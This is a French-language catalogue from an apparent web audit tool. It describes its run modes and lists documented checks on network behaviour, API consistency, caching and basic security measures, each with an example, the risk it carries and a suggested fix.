En-têtes de sécurité et leurs valeurs, politique de scripts, témoins de session, chiffrement, scripts tiers sans vérification d’intégrité.
311 vérifications. Pas une de trop.
Chaque écran ouvert passe sous 62 sondes. Ce qu’elles relèvent est rapporté à un catalogue de 311 vérifications documentées, chacune avec sa phrase en clair, son nom technique, un exemple, le risque et la piste de correction. C’est ce catalogue, complet, qui suit.
Trois modes de passage, à vous de choisir.
Ce qu’il a le droit de faire chez vous est décidé avant le passage, et rappelé en tête du rapport.
- Lecture seule
- Par défaut. 49 sondes ouvrent chaque écran, le mesurent, lisent le réseau et le code de la page. Aucun clic sur un bouton d’action, aucune donnée écrite.
- Formulaires
- Sur demande. Les formulaires sont lus en détail ; leur soumission réelle, pour lire les réponses d’erreur et la validation côté serveur, n’a lieu que si vous l’autorisez sur un environnement jetable.
- Sondes actives
- Sur demande. 13 sondes agissent sur l’application : clics réels, coupure du réseau, recherche de fichiers exposés, rejeu des parcours observés. Jamais de suppression.
Sur chaque écran, six questions.
Ce que la page envoie et reçoit
Son poids et sa vitesse
Temps de première réponse, affichage du plus grand élément, décalages visuels, blocage du fil principal, poids du code et des images, polices.
Qui peut s’en servir
Règles d’accessibilité automatiques complétées de vérifications manuelles : fenêtres, focus, libellés, contrastes, cibles tactiles.
Sur quel écran
Chaque page à 1280, 768 et 375 px : débordements, éléments coupés, zones trop petites pour un doigt.
Ce que disent les appels
Codes de réponse qui disent ce qui s’est passé, format demandé et reçu, cache, compression, appels répétés pour chaque ligne d’une liste.
Ce que la loi demande
Bandeau de consentement, traceurs déposés avant l’accord, mentions et conditions dans la zone connectée.
Ce qu’on ne voit qu’en comparant tous les écrans.
Un scanner note une page à la fois. Ces analyses-là ne sont possibles qu’après avoir tout parcouru : elles comparent les écrans et les appels entre eux.
La carte des fonctions
Quels objets l’application manipule, ce qu’on peut en faire (lister, consulter, créer, modifier), et ce qui a été vu fonctionner, ou seulement proposé.
Les parcours
Les enchaînements réellement observés, rejoués sous garde-fous pour vérifier qu’ils tiennent encore d’une version à l’autre.
La cohérence des appels
Casse des clés, enveloppes de réponse, formats de date, forme des erreurs : ce qui diverge d’un appel à l’autre.
Le poids des appels
Médiane et pire cas par point d’API, compression, appels répétés pour chaque ligne d’une liste.
Les gabarits
Un défaut présent sur 80 % des écrans est un fait de l’application : il est dit une fois, pas trente.
L’évolution
Deux passages se comparent : fonctions apparues ou perdues, parcours dégradés, constats résolus.
Les sondes actives, une par une.
Elles ne tournent que si vous les demandez, et toutes respectent les mêmes garde-fous : aucune suppression, aucun libellé destructif cliqué, un budget de temps et d’actions plafonné.
dead-actions control-effects network-resilience failure-response dom-stability exposure-probe api-surface-discovery rate-limit consent-refusal link-rot availability-signals api-dependency-map forms Le catalogue, avec les mots du rapport.
Les mêmes phrases que dans le rapport, rangées par famille. Ouvrez une ligne pour lire ce que c’est, un exemple rencontré, le risque et la correction.
Réseau
61Les appels entre le navigateur et le serveur : nombre, poids, réponses.
Aucune adresse ne permet de vérifier que le service est en vie health endpoint
Aucun endpoint de liveness/health public (/health, /status, /healthz…) n'a répondu. Les sondes de monitoring et load balancers externes n'ont pas de point de contrôle de disponibilité.
- Exemple
- Un load balancer ne peut pas retirer une instance en panne faute de
/healthinterrogeable. - Risque
- Détection de panne plus lente (pas de sonde externe).
- Correction
- Exposer un endpoint
/healthléger (200 + statut JSON) : ou confirmer qu’il est volontairement interne.
Certaines adresses finissent par une barre oblique et d’autres non conception des URL
Des adresses se terminent par / et d’autres non. Selon le serveur, les deux formes sont deux ressources, une redirection, ou une erreur.
- Exemple
/api/users/et/api/ordersdans la même application.- Risque
- Une redirection à chaque appel construit sans la barre.
- Correction
- Fixer une forme, et rediriger l’autre de façon systématique.
Demander un enregistrement inexistant fait planter le serveur 5xx sur 404 attendu
Un identifiant qui ne correspond à rien provoque une erreur serveur au lieu d’un « introuvable ». L’absence de donnée n’est pas prévue.
- Exemple
GET /api/projects/2147483647→500.- Risque
- Un lien périmé suffit à produire une erreur serveur.
- Correction
- Traiter l’absence d’enregistrement avant tout accès à ses champs, et répondre 404.
Des adresses imbriquent trois enregistrements ou plus profondeur d’imbrication
Une adresse comme /orgs/1/projects/2/tasks/3/comments demande au client de connaître trois identifiants pour lire une liste. Chaque niveau ajouté rend l’adresse impossible à construire de mémoire.
- Exemple
/api/orgs/1/projects/2/tasks/3/commentspour lister des commentaires.- Risque
- Des adresses cassées dès qu’un parent change.
- Correction
- Limiter l’imbrication à un niveau et exposer les ressources profondes à plat (
/comments?task=3).
Des adresses portent un verbe là où la méthode le dit déjà conception des URL
Une adresse comme /getUsers ou /users/12/delete répète dans son chemin ce que la méthode HTTP (GET, DELETE) signifie déjà. Les caches et les outils qui lisent la méthode ne voient plus l’intention réelle.
- Exemple
GET /api/getUserslà oùGET /api/userssuffit.- Risque
- Un GET qui modifie est mis en cache ou préchargé sans intention.
- Correction
- Nommer les ressources par des noms et laisser la méthode HTTP dire l’action.
Écran blanc quand le réseau est lent
Rechargée sous un réseau volontairement bridé (débit faible, forte latence), la page ne rend aucun contenu : pas de squelette, pas de spinner, pas de texte. L'utilisateur ne peut pas distinguer « ça charge » de « c'est cassé ».
- Exemple
- SPA dont tout le rendu attend le bundle JS : tant que le script n'est pas arrivé, le
<body>reste vide. - Risque
- Abandon immédiat des visiteurs mobiles ou en connexion dégradée.
- Correction
- Servir un rendu initial non vide (SSR, HTML statique ou squelette) et afficher un état de chargement explicite tant que les données ne sont pas là.
L’essai de panne réseau n’a pas pu être mené
La sonde de résilience réseau n'a pas pu se dérouler sur cette page (session de debug indisponible, page fermée pendant le test, interception refusée). Le constat porte sur l'outil de mesure, pas sur l'application : le comportement sous réseau dégradé reste inconnu ici.
- Exemple
- Ouverture de la session CDP refusée par le navigateur ou l'environnement d'exécution.
- Risque
- Angle mort : la résilience réseau de cette page n'est ni validée ni infirmée.
- Correction
- Rejouer l'audit avec
--probesur un navigateur Chromium stable et une page qui ne navigue pas d'elle-même ; si l'échec persiste, lire le message d'erreur du constat pour identifier la contrainte d'environnement.
La même donnée est demandée plusieurs fois sur un écran overfetch
Une même requête GET est émise plusieurs fois à l’identique sur la page. Absence de déduplication ou de cache client.
- Exemple
- Deux composants montés en parallèle qui chargent chacun
GET /api/me. - Risque
- Réseau gaspillé.
- Correction
- Mutualiser via un cache de requêtes (React Query/SWR) ou hisser l’appel plus haut dans l’arbre.
La page dépend lourdement de services extérieurs
La page charge de nombreuses ressources depuis des domaines tiers (CDN externes, analytics, ads). Performance dégradée et risque de fuite de données.
- Exemple
- 30+ requêtes vers Google Tag Manager, Hotjar, Intercom, Sentry, etc.
- Risque
- Performance dégradée (chaque tiers ajoute du DNS + handshake).
- Correction
- Auditer les tiers, retirer les non essentiels, auto-héberger les polices.
La pagination ne se fait pas de la même façon partout
La pagination diverge entre endpoints : stratégies différentes (page vs offset vs cursor) ou noms de paramètres différents (limit vs pageSize).
- Exemple
/api/users?limit=20et/api/orders?pageSize=20.- Risque
- Le client doit réapprendre la pagination à chaque endpoint.
- Correction
- Standardiser une stratégie et un jeu de paramètres de pagination pour toute l’API.
La vitesse réellement vécue n’est mesurée nulle part Real User Monitoring
Aucun reporting Web Vitals / RUM détecté. La performance réellement perçue par les utilisateurs n'est pas mesurée.
- Exemple
- Aucune lib
web-vitalsni beacon Datadog/New Relic observé. - Risque
- Régressions de perf invisibles.
- Correction
- Envoyer les Core Web Vitals (LCP/CLS/INP) vers un backend RUM.
Le même appel refuse une saisie invalide avec des codes différents selon les fois 400 / 422 / 500
Un même endpoint répond tantôt 400, tantôt 422, tantôt 500 pour ce qui ressemble à la même nature d'échec de validation. Le client ne peut pas écrire un traitement d'erreur unique pour ce point : il doit gérer plusieurs codes pour un seul cas.
- Exemple
- POST
/api/ordersrépond 422 une fois avec{ "violations": [...] }, puis 500 une autre fois pour une saisie du même genre. - Risque
- Traitement d'erreur client dupliqué (un cas par code observé).
- Correction
- Faire converger le point d'entrée vers un seul code pour une même nature d'échec (422 pour une validation, jamais 500).
Le serveur a limité le débit de l’audit HTTP 429
Le serveur a répondu 429 (Too Many Requests) : la requête a été throttlée. C’est un mécanisme de protection attendu, pas une panne. Il est souvent déclenché par un volume élevé de requêtes rapprochées (crawl agressif, beacons de reporting du navigateur comme les rapports CSP).
- Exemple
- De nombreux
POST /csp-report -> 429: le navigateur envoie des rapports de violation CSP que l’app rate-limite. - Risque
- En général bénin ici : back-pressure normale du serveur.
- Correction
- Ignorer sur les endpoints de reporting (bruit attendu). Sur une API métier : espacer/debattre les appels côté client, ou relever le seuil côté serveur.
Le serveur a refusé le format demandé ou envoyé 406 / 415
Un appel a répondu 406 (format demandé non disponible) ou 415 (format envoyé non accepté). Le client et l’API ne s’accordent pas sur la façon d’échanger.
- Exemple
POST /api/upload→415parce que le corps est envoyé en JSON là où le serveur attend un formulaire.- Risque
- Un appel perdu, souvent sans message pour la personne.
- Correction
- Aligner l’en-tête envoyé par le client sur ce que le serveur accepte, ou élargir ce que le serveur accepte.
Le serveur fournit un validateur de cache et ne le respecte pas If-None-Match sans 304
La réponse porte un ETag ou un Last-Modified, mais une requête conditionnelle reçoit le corps entier au lieu d’un 304. Le validateur coûte des octets et n’en économise aucun.
- Exemple
GET /api/usersavecETag: "abc"→ rejoué avecIf-None-Match: "abc"→200et le corps complet.- Risque
- Un cache navigateur qui ne sert jamais.
- Correction
- Comparer le validateur reçu côté serveur et répondre 304 quand il correspond.
Le serveur ne dit pas au navigateur s’il peut garder une réponse ETag / Last-Modified
Une réponse GET est servie sans ETag/Last-Modified ni Cache-Control. Le navigateur ne peut pas revalider par 304 et re-télécharge tout le corps.
- Exemple
GET /api/configsans en-tête de cache → rechargé intégralement à chaque visite.- Risque
- Bande passante gaspillée sur des données inchangées.
- Correction
- Ajouter ETag/Last-Modified et un Cache-Control adapté à la volatilité de la donnée.
Le serveur refuse une demande 4xx
Une requête réseau a renvoyé un 4xx (400, 401, 403, 404...). Soit un bug d'intégration, soit un état non géré.
- Exemple
- API
/merépond 401 après expiration de session → UI affiche des données vides. - Risque
- Bug fonctionnel silencieux.
- Correction
- Gérer explicitement chaque code 4xx côté UI (redirection login pour 401, message clair pour 404).
Le serveur répond en HTML à un client qui demandait des données Accept / Content-Type
Le navigateur a demandé du JSON et a reçu une page HTML avec un code de succès. Le client analyse une page (souvent une page de connexion) comme des données.
- Exemple
GET /api/meavecAccept: application/json→200 text/html(page de connexion).- Risque
- Une erreur d’analyse à la place d’un message de session expirée.
- Correction
- Répondre 401 en JSON sur les appels d’API, jamais une page HTML.
Le serveur répond par une erreur 5xx
Une requête réseau a renvoyé un code 500-599. Le backend a échoué.
- Exemple
- API
/api/ordersrépond 500 → liste commandes vide pour l'utilisateur. - Risque
- Fonctionnalité indisponible, escalade support.
- Correction
- Vérifier les logs serveur, ajouter un toast d'erreur côté UI.
Le tri ou le filtre se demande sous des noms différents selon l’appel paramètres de requête
Un endpoint trie par sort, un autre par orderBy ; l’un cherche avec q, l’autre avec search. Le même geste s’écrit différemment selon l’appel.
- Exemple
?sort=namesur/users,?orderBy=datesur/orders.- Risque
- Un composant de liste générique impossible à réutiliser.
- Correction
- Nommer les paramètres de tri, de filtre et de recherche une seule fois, pour toute l’API.
Les adresses d’appel ne suivent pas un seul schéma versioning
Certains endpoints sont versionnés dans l’URL (/v1/…) et d’autres ne le sont pas. Le contrat de versioning n’est pas uniforme.
- Exemple
/api/v1/userscoexiste avec/api/orders(sans version).- Risque
- Stratégie d’évolution ambiguë.
- Correction
- Versionner toute l’API de la même façon (préfixe
/v1/global ou en-tête de version).
Les erreurs ne sont pas décrites de la même façon partout format d’erreur
Les réponses en erreur (status ≥ 400) n’adoptent pas la même enveloppe JSON d’un endpoint à l’autre : Problem+JSON ({type,title,status,detail}) ici, {error} là, {message} ou {errors:[…]} ailleurs, voire une chaîne brute. Un client ne peut pas centraliser sa gestion d’erreurs.
- Exemple
/api/users(422) renvoie{ "type": "...", "title": "Validation failed" }mais/api/orders(400) renvoie{ "error": "Bad request" }.- Risque
- Gestion d’erreur dupliquée et fragile côté client (un parseur par format).
- Correction
- Standardiser une enveloppe d’erreur unique pour toute l’API, de préférence Problem+JSON (RFC 9457).
Les erreurs vécues par les personnes ne sont remontées nulle part error tracking
Aucun SDK de suivi d'erreurs (Sentry, Bugsnag, LogRocket) n'a été détecté. Les erreurs JavaScript vécues par les utilisateurs ne remontent nulle part.
- Exemple
- Une exception non gérée casse un formulaire en prod sans qu'aucune alerte ne soit émise.
- Risque
- Bugs invisibles en production.
- Correction
- Intégrer un outil de suivi d'erreurs frontend (Sentry, Bugsnag…) avec source maps.
Les listes ne sont pas emballées de la même façon d’un appel à l’autre enveloppe
Les endpoints qui renvoient des listes ne les encapsulent pas de la même manière : tableau nu ici, {data:[…]} ou {items:[…]} ailleurs.
- Exemple
/api/usersrenvoie[…]mais/api/ordersrenvoie{ "data": […] }.- Risque
- Impossible d’écrire un client générique de liste.
- Correction
- Adopter une enveloppe unique pour toutes les collections (ex.
{ data, meta }).
Les noms de champs ne suivent pas une seule convention camelCase / snake_case
Les réponses de l’API mélangent camelCase et snake_case pour nommer les clés JSON, d’un endpoint à l’autre. Le client doit gérer les deux conventions.
- Exemple
/api/usersrenvoieuserId,/api/ordersrenvoieorder_id.- Risque
- Code client alourdi (mapping/normalisation).
- Correction
- Choisir une convention unique (camelCase ou snake_case) et l’appliquer à toute l’API.
Les réponses du serveur voyagent sans compression Content-Encoding
Une réponse API JSON volumineuse est servie sans compression (gzip/brotli). Le texte JSON se compresse pourtant très bien.
- Exemple
- Un
GET /api/listde 200 Ko servi sansContent-Encoding→ 5× plus d’octets qu’en brotli. - Risque
- Transfert plusieurs fois plus lourd pour un gain quasi gratuit.
- Correction
- Activer la compression (gzip/brotli) sur les réponses API au niveau serveur ou reverse-proxy.
Même les appels les plus simples prennent du temps plancher de latence
Les trois quarts des endpoints dépassent un même seuil de latence. Le coût n’est propre à aucun handler : il est payé par toute requête, ce qui pointe vers l’infrastructure ou l’absence de cache.
- Exemple
- Des pages purement statiques (mentions légales, CGU) répondant aussi lentement que les pages de données.
- Risque
- Coût payé sur chaque navigation : c’est souvent l’essentiel de la lenteur ressentie.
- Correction
- Chercher en amont du handler : absence de cache CDN, edge froid, middleware exécuté sur chaque requête, redirection systématique.
Un appel au serveur est lent
Une requête API met un temps anormalement long à répondre (latence bout-en-bout). Elle retarde l’affichage des données.
- Exemple
- Un
GET /api/reportqui prend 3 s → le tableau reste vide pendant plusieurs secondes. - Risque
- Perception de lenteur, abandon utilisateur.
- Correction
- Profiler côté serveur : index, cache, pagination, réduction du travail par requête.
Un appel au serveur est lent même en temps normal médiane
Mesuré sur l’ensemble du crawl, cet endpoint est lent **à chaque appel**, pas seulement lors d’un pic. La médiane, et non un accident isolé, dépasse le seuil.
- Exemple
- Un
POST /campaigns/newà 756 ms de médiane sur 18 appels : la création dépasse la seconde ressentie à tous les coups. - Risque
- Lenteur permanente et prévisible, ressentie par tous les utilisateurs.
- Correction
- Profiler le handler : requêtes N+1, index manquant, appel externe synchrone. Comparer avec un endpoint rapide de la même app pour isoler le coût propre.
Un appel en échec
Requête HTTP identifiée directement comme en échec, sans correspondance plus fine dans le HAR. Le diagnostic s’appuie alors sur l’entrée d’erreur elle-même.
- Exemple
DELETE /api/item/42 -> 500sans requête voisine à corréler.- Risque
- Opération échouée côté utilisateur.
- Correction
- Reproduire l’appel en isolation (curl/Postman) pour distinguer un bug applicatif d’un souci d’environnement.
Un appel en échec lié à une erreur de la page
Une erreur HTTP a été rapprochée des requêtes réseau capturées qui correspondent à la même cible. Permet de relier un symptôme (échec) aux appels concrets qui l’ont produit.
- Exemple
- Un
POST /api/save -> 500mis en correspondance avec la requête exacte du HAR. - Risque
- Opération métier échouée (sauvegarde, chargement) côté utilisateur.
- Correction
- Inspecter la requête corrélée (méthode, payload, statut) et corriger la cause côté serveur ou client.
Un appel envoie des corps de requête lourds p90 des octets envoyés
Neuf envois sur dix vers cet appel dépassent le seuil de poids. Sur un réseau mobile, le débit montant est le plus faible, et c’est lui qui paie.
- Exemple
- Un
POST /api/documentsqui envoie le document entier à chaque enregistrement automatique. - Risque
- Une saisie lente à enregistrer sur mobile.
- Correction
- Envoyer les différences, compresser le corps, ou déplacer les pièces jointes dans un envoi séparé.
Un appel est parfois très lent, comme au réveil p90 / cold start
La médiane est saine mais le pire cas s’en écarte massivement. Signature d’un démarrage à froid (fonction serverless), d’une contention base ou d’un cache qui expire.
- Exemple
- Un endpoint à 200 ms de médiane qui atteint 6,4 s au pire : un facteur ×32.
- Risque
- Lenteur vécue comme aléatoire et donc difficile à signaler, ce qui la rend rarement corrigée.
- Correction
- Vérifier le cold start (provisioned concurrency, warm-up), le pool de connexions et l’expiration du cache. Attention : un audit avec
--probegénère des rafales qui peuvent gonfler le pire cas.
Un appel lié à l’erreur observée
Requête réseau capturée et rattachée à un diagnostic (erreur HTTP ou console). Sert de preuve technique : méthode, URL, statut et phase de capture.
- Exemple
GET /api/list -> 404capturé pendant la phase de chargement de page.- Risque
- Indique le point de défaillance réseau exact à investiguer.
- Correction
- Utiliser la requête comme point de départ du débogage (rejouer l’appel, vérifier le payload et la réponse).
Un appel n’est jamais compressé Content-Encoding
Aucune des réponses de cet appel n’est compressée, alors que leur taille habituelle le justifierait. Le JSON se compresse quatre à dix fois pour un coût serveur négligeable.
- Exemple
- Un
GET /api/catalogà 40 ko par réponse, servi tel quel. - Risque
- Plusieurs fois plus d’octets sur le réseau pour rien.
- Correction
- Activer la compression (brotli ou gzip) pour les réponses JSON au niveau du serveur ou du CDN.
Un appel renvoie des réponses lourdes même en temps normal p90 des octets de réponse
Neuf réponses sur dix de cet appel dépassent le seuil de poids, sur l’ensemble du passage. Ce n’est pas un accident isolé : c’est la taille habituelle de ce que l’appel renvoie.
- Exemple
- Un
GET /api/projectsà 800 ko par réponse, sans pagination ni sélection de champs. - Risque
- Temps de chargement et mémoire dégradés, surtout sur mobile.
- Correction
- Paginer, laisser le client choisir les champs, ou séparer la liste du détail.
Un appel vers une API tierce part sans aucun marqueur de version API version pinning
Un appel vers une API tierce connue pour exiger un pinning de version (chemin /vN/, paramètre version, en-tête dédié comme Stripe-Version) est observé sans aucun de ces marqueurs sur l'ensemble des appels vers cet hôte.
- Exemple
- Tous les appels vers
api.stripe.comobservés omettent l'en-têteStripe-Version. - Risque
- Un changement non annoncé côté fournisseur peut casser l'intégration sans que l'équipe n'ait pu choisir le moment de la migration.
- Correction
- Épingler explicitement la version de chaque API tierce appelée (en-tête, paramètre ou chemin dédié).
Un diagnostic réseau ou console
Regroupe les corrélations entre erreurs (console/HTTP) et requêtes réseau. Voir le code de corrélation précis pour le détail du symptôme et de la cause probable.
- Exemple
- Erreur console rapprochée d’une requête 500.
- Risque
- Symptôme d’un problème réseau/backend sous-jacent.
- Correction
- Suivre la requête corrélée jusqu’à sa cause racine (endpoint, payload, gestion d’erreur côté client).
Un écran appelle la même route pour des dizaines d’enregistrements N+1
Une même route de détail est appelée pour des dizaines d’identifiants différents sur un seul écran. Chaque appel est court ; ensemble ils font l’attente, et leur nombre croît avec les données.
- Exemple
- Une liste de 40 projets qui appelle
GET /api/projects/:idquarante fois pour afficher un nom. - Risque
- Un écran qui ralentit à mesure que les données grandissent.
- Correction
- Renvoyer les données nécessaires dans l’appel de liste, ou exposer un appel par lot.
Un écran fait trop d’appels au serveur
La page déclenche un grand nombre de requêtes vers l’API. Chaque appel ajoute de la latence, de la charge serveur et un point de défaillance supplémentaire.
- Exemple
- Un tableau de bord qui charge chaque widget par un appel distinct → 40+ requêtes au montage.
- Risque
- Temps de chargement dégradé, surtout sur réseaux lents.
- Correction
- Regrouper les appels (batch, endpoint agrégé, BFF/GraphQL) et supprimer les N+1 côté client.
Un écran interroge le serveur en boucle polling
Le même endpoint est interrogé de façon répétée sur la page. Un polling trop fréquent gaspille réseau, batterie et ressources serveur.
- Exemple
- Un
GET /api/notificationsappelé toutes les 2 s même onglet inactif. - Risque
- Charge serveur inutile.
- Correction
- Passer à du push (SSE/WebSocket), élargir l’intervalle, ou suspendre le polling hors focus.
Un écran télécharge un volume de données inhabituel
La somme des réponses API téléchargées sur la page est élevée. Beaucoup d’octets à transférer, parser et garder en mémoire.
- Exemple
- Un endpoint qui renvoie 3 Mo de JSON incluant des champs jamais affichés.
- Risque
- Bande passante et mémoire gaspillées (impact fort sur mobile).
- Correction
- Ne renvoyer que les champs utiles (sparse fieldsets), paginer, et compresser les réponses.
Un enregistrement inexistant est servi comme s’il existait 404 attendu
Demander un enregistrement avec un identifiant qui n’existe pas renvoie un succès. Le client ne peut pas distinguer une fiche vide d’une fiche absente.
- Exemple
GET /api/projects/2147483647→200avec un corps vide ounull.- Risque
- Des écrans vides à la place d’un message clair.
- Correction
- Répondre 404 quand l’enregistrement n’existe pas.
Un incident ne peut pas être suivi de l’écran jusqu’au serveur traceparent
Aucun en-tête traceparent (W3C Trace Context) n'a été observé sur les requêtes. Le front et le backend ne partagent pas de trace commune.
- Exemple
- Une requête API sans
traceparent→ impossible de la relier à sa trace serveur. - Risque
- Corrélation front/back impossible lors d'un incident.
- Correction
- Propager
traceparentdepuis le front (OpenTelemetry browser SDK) vers les APIs.
Un même appel ne renvoie pas toujours les mêmes champs contrat API
Le même appel a répondu avec des ensembles de champs différents pendant le passage : un champ présent ici manque là. Le client doit prévoir chaque forme.
- Exemple
GET /api/users/:idrenvoie parfoisrole, parfois non.- Risque
- Des erreurs d’affichage intermittentes, difficiles à reproduire.
- Correction
- Renvoyer toujours les mêmes champs,
nullquand la valeur manque, et décrire la réponse dans un schéma.
Un même appel ne répond pas toujours par le même code
Le même appel d'API a répondu avec des codes différents pendant l'audit (par exemple 200 puis 429). L'application ne peut pas s'appuyer sur une réponse stable.
- Exemple
- GET /api/notifications/unread-count : 200 la plupart du temps, 429 par moments.
- Risque
- Un compteur ou une liste qui disparaît par intermittence.
- Correction
- Identifier la cause du second code (limitation de débit, cache, session) et la traiter côté serveur ou côté client (retry, message).
Un même appel répond dans deux formats Content-Type par appel
Le même appel répond en JSON quand il réussit et dans un autre format quand il échoue. Le client doit deviner le format avant de lire.
- Exemple
GET /api/orders:application/jsonen 200,text/htmlen 500.- Risque
- Des erreurs jamais structurées, donc jamais affichées correctement.
- Correction
- Répondre dans le même format en succès et en erreur, avec un corps d’erreur structuré.
Un même champ change de type d’un appel à l’autre contrat API
Le même champ est arrivé avec des types différents pendant le passage : un nombre ici, une chaîne là. Le client doit convertir à l’aveugle.
- Exemple
iden nombre sur la liste, en chaîne sur la fiche.- Risque
- Des comparaisons fausses en silence.
- Correction
- Fixer le type de chaque champ dans un schéma et sérialiser toujours de la même façon.
Une demande au serveur a échoué
Une requête HTTP a répondu avec un statut d’erreur (4xx/5xx) ou la page elle-même résout en 404. L’utilisateur voit soit une page manquante, soit une fonctionnalité qui échoue silencieusement.
- Exemple
GET /api/members -> 500: la liste des membres ne se charge pas.- Risque
- Écran vide ou données manquantes sans message clair pour l’utilisateur.
- Correction
- Corriger l’endpoint côté serveur (5xx) ou l’URL/route côté client (4xx). Toujours afficher un état d’erreur explicite plutôt qu’un écran muet.
Une écriture répond avec un code que sa méthode ne signifie pas codes 2xx par méthode
Un DELETE qui répond 201, un PATCH qui répond 202 sans traitement différé : le code ne dit pas ce qui a été fait.
- Exemple
DELETE /api/users/12→201 Created.- Risque
- Un client qui déduit à tort qu’une ressource a été créée.
- Correction
- Répondre 200 ou 204 à une suppression, 201 à une création, 202 seulement pour un traitement différé.
Une erreur de la page liée à un appel en échec
Une erreur affichée dans la console du navigateur a été rapprochée d’une ou plusieurs requêtes réseau en échec survenues au même moment. Le message console est le symptôme, la requête est souvent la cause.
- Exemple
Failed to load resource: 500dans la console, corrélé à unGET /api/x -> 500.- Risque
- Fonctionnalité dégradée dont la cause racine est côté réseau/backend.
- Correction
- Suivre la requête corrélée : corriger l’endpoint en échec, puis vérifier que le code client gère proprement la réponse d’erreur.
Une famille d’appels est plus lente que les autres préfixe d’URL
La même ressource est joignable avec et sans un segment de préfixe (typiquement une locale), à des coûts radicalement différents. L’écart mesure ce que la couche de routage ajoute par-dessus le handler.
- Exemple
GET /settingsrépond en 41 ms quandGET /fr/settingsprend 526 ms : soit ×13 pour la même page.- Risque
- Le surcoût frappe la version réellement visitée par les utilisateurs, la variante rapide n’étant qu’un artefact interne.
- Correction
- Inspecter le middleware de routage / i18n : rendu à chaque requête, redirection de locale, absence de cache sur la variante préfixée.
Une lecture interdit au navigateur de garder quoi que ce soit Cache-Control: no-store
La réponse porte no-store : rien ne peut être conservé, et chaque visite retélécharge tout. Pour des données qui changent peu, un validateur permettrait un 304 sans corps.
- Exemple
GET /api/configservi avecCache-Control: no-storealors que la configuration ne change pas.- Risque
- Des octets retéléchargés à chaque écran.
- Correction
- Réserver
no-storeaux données sensibles ; ailleurs, fournir un ETag etno-cacheou une durée de fraîcheur.
Une lecture semble en fait modifier des données GET mutant
Un verbe GET est utilisé sur un chemin évoquant une mutation (delete/create/update…). Un GET doit être sûr et idempotent : il ne doit jamais modifier d’état.
- Exemple
GET /api/users/5/delete→ un préchargement, un crawler ou un cache peut le rejouer et supprimer la ressource.- Risque
- Mutation involontaire via préchargement, cache ou re-navigation.
- Correction
- Utiliser le verbe adéquat : POST (création), PUT/PATCH (mise à jour), DELETE (suppression).
Une liste est envoyée en entier au lieu d’être paginée
Un endpoint renvoie une collection volumineuse sans marqueur de pagination. Le payload grossit avec les données, sans borne.
- Exemple
GET /api/usersrenvoyant les 5000 utilisateurs d’un coup, sanspage/limit/cursor.- Risque
- Mémoire et temps de rendu qui explosent à l’échelle.
- Correction
- Introduire une pagination (offset ou cursor) avec un contrat stable et une taille de page par défaut.
Une même notion porte plusieurs noms selon l’appel
Un même concept est désigné par des mots différents selon l’endpoint, au-delà d’une simple différence de casse. Le client doit connaître plusieurs noms pour la même donnée.
- Exemple
createdAtsur/api/usersmaiscreationDatesur/api/orderspour l’horodatage de création.- Risque
- Charge cognitive et code client dispersé (chaque endpoint a son propre vocabulaire).
- Correction
- Choisir un terme unique par concept et l’appliquer partout (p. ex. toujours
createdAt/updatedAt). La casse est traitée séparément.
Une même ressource est identifiée sous plusieurs formes format des identifiants
La même ressource est adressée tantôt par un nombre, tantôt par un identifiant universel (uuid) ou un autre format. Le client ne sait pas quelle forme construire.
- Exemple
/api/users/12et/api/users/6f1e2a3b-…pour la même collection.- Risque
- Des liens construits avec le mauvais identifiant.
- Correction
- Exposer un seul format d’identifiant par ressource, et le documenter.
Une même ressource est nommée au singulier ici et au pluriel là conception des URL
La même ressource apparaît sous deux formes dans les adresses (/user/12 et /users). Le client doit retenir laquelle vaut pour quel appel.
- Exemple
/api/user/12pour la fiche,/api/userspour la liste.- Risque
- Des erreurs 404 sur des adresses construites par déduction.
- Correction
- Choisir une convention (le pluriel est l’usage) et l’appliquer à toutes les adresses.
Une même valeur est écrite de plusieurs façons dates ISO / epoch
Une même clé porte des valeurs de format hétérogène selon l’endpoint : dates en ISO 8601 ici et en timestamp epoch là, ou booléens tantôt true/false, tantôt 0/1 ou "yes"/"no". Le client doit deviner le format au cas par cas.
- Exemple
createdAtvaut"2026-01-01T00:00:00Z"sur/api/userset1730000000sur/api/orders.- Risque
- Parsing conditionnel et bugs de conversion (dates décalées, booléens mal interprétés).
- Correction
- Fixer un format unique par type : ISO 8601 pour les dates/horodatages, booléens JSON natifs (
true/false).
Une réponse annonce un succès et transporte une erreur 2xx avec { error }
Le code de réponse dit que tout s’est bien passé, et le corps dit le contraire. Tout ce qui lit le code sans le corps (caches, sondes, journaux) croit à un succès.
- Exemple
200 OKavec{ "error": "not allowed" }.- Risque
- Des erreurs invisibles dans la supervision.
- Correction
- Répondre avec le code qui dit l’échec (4xx ou 5xx) et un corps structuré.
Une réponse texte ne déclare pas son encodage charset
Une réponse text/* arrive sans paramètre charset. Le navigateur devine, et les accents dépendent de la plateforme.
- Exemple
Content-Type: text/plainsans; charset=utf-8.- Risque
- Des caractères corrompus selon le navigateur ou le système.
- Correction
- Ajouter
; charset=utf-8aux réponses texte.
Sécurité
53Ce qui protège les données et les sessions contre un tiers.
Aucun bouclier ne filtre le trafic avant le serveur CDN / WAF
Aucun marqueur de CDN/WAF (Cloudflare, Akamai, Fastly, CloudFront) n'a été détecté sur la réponse du document : l'origine semble exposée directement.
- Exemple
- Aucun en-tête
cf-ray/x-served-by;Server: nginxexposé en direct. - Risque
- Origine exposée aux attaques volumétriques/applicatives.
- Correction
- Placer un CDN/WAF (Cloudflare, Akamai…) devant l'origine.
Aucun moyen de se déconnecter n’a été trouvé
Sur une zone authentifiée, aucun moyen de se déconnecter n’a été repéré (bouton/lien logout, menu compte). L’utilisateur ne peut pas fermer sa session explicitement.
- Exemple
- Un poste partagé où la session reste ouverte faute de bouton « Se déconnecter ».
- Risque
- Session laissée ouverte sur un appareil partagé → accès non autorisé.
- Correction
- Exposer un contrôle de déconnexion visible et accessible depuis toute la zone authentifiée.
Aucun second facteur n’est proposé à la connexion aucun signal OTP/clé de sécurité/API d’identifiants
L’écran de connexion observé ne montre aucun signal de second facteur : ni champ pour un code à usage unique, ni bouton pour une clé de sécurité, ni appel à l’API d’identifiants du navigateur. Un mot de passe seul, une fois compromis, suffit alors à prendre le compte. Un second facteur qui n’apparaît qu’après l’envoi des identifiants (un écran de vérification distinct) n’est repéré qu’en audit authentifié, qui revérifie l’écran atteint une fois connecté ; un audit sans identifiants ne voit que l’écran de connexion lui-même.
- Exemple
- La connexion se limite à un email et un mot de passe, sans étape supplémentaire même pour un compte administrateur.
- Risque
- Une seule donnée compromise (le mot de passe) suffit à prendre le compte.
- Correction
